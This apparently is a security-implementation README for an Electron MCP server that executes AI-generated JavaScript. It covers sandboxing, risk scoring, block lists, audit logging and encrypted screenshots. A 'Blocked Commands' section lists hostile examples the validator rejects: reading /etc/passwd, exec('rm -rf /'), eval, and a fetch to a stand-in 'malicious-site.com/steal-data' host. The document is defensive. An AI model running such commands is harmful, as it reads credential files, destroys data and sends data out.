Electron MCP Server

# Security Implementation This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands. ## 🛡️ Security Features ### 1. Code Execution Isolation - **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess - **Resource Limits**: - Maximum execution time: 5 seconds - Memory limit: 50MB - No filesystem access unless explicitly needed - No network access by default - **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox ### 2. Input Validation & Sanitization - **Static Analysis**: Commands are analyzed for dangerous patterns before execution - **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc. - **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts - **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical) - **Command Sanitization**: Dangerous content is escaped or removed ### 3. Comprehensive Audit Logging - **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data - **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes - **Security Events**: Failed attempts and blocked commands are specially flagged - **Performance Metrics**: Track execution patterns for anomaly detection ### 4. Secure Screenshot Handling - **Encryption**: Screenshot data is encrypted before storage - **User Notification**: Clear logging when screenshots are taken - **Data Minimization**: Screenshots are only stored temporarily - **Secure Transmission**: Base64 data is transmitted over secure channels ## 🚨 Blocked Operations The following operations are automatically blocked for security: ### Critical Risk Operations - Direct `eval()` or `Function()` calls - File system access (`fs`, `readFile`, `writeFile`) - Process control (`spawn`, `exec`, `kill`) - Network requests in user code - Module loading (`require`, `import`) - Global object manipulation ### High Risk Patterns - Excessive string concatenation (potential obfuscation) - Encoded content (`\\x`, `\\u` sequences) - Script injection patterns - Cross-site scripting attempts ## ⚙️ Configuration Security settings can be configured via environment variables: ```bash # Encryption SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here ``` ## 📊 Security Metrics The system tracks various security metrics: - **Total Requests**: Number of commands processed - **Blocked Requests**: Commands blocked due to security concerns - **Risk Distribution**: Breakdown by risk levels - **Average Execution Time**: Performance monitoring - **Error Rate**: Failed execution percentage ## 🔍 Example Security Validations ### ✅ Safe Commands ```javascript // UI interactions document.querySelector('#button').click() // Data extraction document.getElementById('title').innerText // Simple DOM manipulation element.style.display = 'none' ``` ### ❌ Blocked Commands ```javascript // File system access require('fs').readFileSync('/etc/passwd') // Code execution eval('malicious code') // Process control require('child_process').exec('rm -rf /') // Network access fetch('http://malicious-site.com/steal-data') ``` ## 🛠️ Development Guidelines When extending the MCP server: 1. **Always validate input** before processing 2. **Log security events** for audit trails 3. **Test with malicious inputs** to verify security 4. **Follow principle of least privilege** 5. **Keep security dependencies updated** ## 📝 Security Audit Trail All security events are logged to `logs/security/` with the following information: - Timestamp and session ID - Command content (encrypted if sensitive) - Risk assessment results - Execution outcome - User context (if available) - Performance metrics **Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.